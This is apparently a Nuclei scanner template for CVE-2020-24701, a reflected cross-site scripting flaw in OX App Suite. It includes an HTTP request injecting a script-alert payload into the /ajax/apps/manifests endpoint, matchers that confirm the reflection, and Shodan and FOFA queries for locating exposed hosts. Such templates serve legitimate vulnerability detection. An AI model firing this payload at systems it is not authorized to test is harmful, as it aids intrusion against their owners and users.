id: CVE-2020-24701

info:
  name: OX Appsuite - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    OX App Suite through 7.10.4 allows XSS via the app loading mechanism (the PATH_INFO to the /appsuite URI).
  reference:
    - https://packetstormsecurity.com/files/163527/OX-App-Suite-OX-Guard-OX-Documents-SSRF-Cross-Site-Scripting.html
    - https://seclists.org/fulldisclosure/2021/Jul/33
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24701
    - https://www.open-xchange.com
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24701
    cwe-id: CWE-79
    epss-score: 0.00816
    epss-percentile: 0.8179
    cpe: cpe:2.3:a:open-xchange:open-xchange_appsuite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: open-xchange
    product: open-xchange_appsuite
    shodan-query:
      - html:"Appsuite"
      - http.html:"appsuite"
    fofa-query: body="appsuite"
  tags: cve,cve2020,packetstorm,seclists,appsuite,xss,open-xchange

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request with action all'
          - '<script>alert(document.domain);</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204276e40c63bb73073876bd5d5b94bb0d62f39e8db13cfeb71df70cf53f74149d022100d08b49d254317d14f119a7851f19c4516536c0fc9e9490cc93652ec3a673ab75:922c64590222798bb761d5b6d8e72950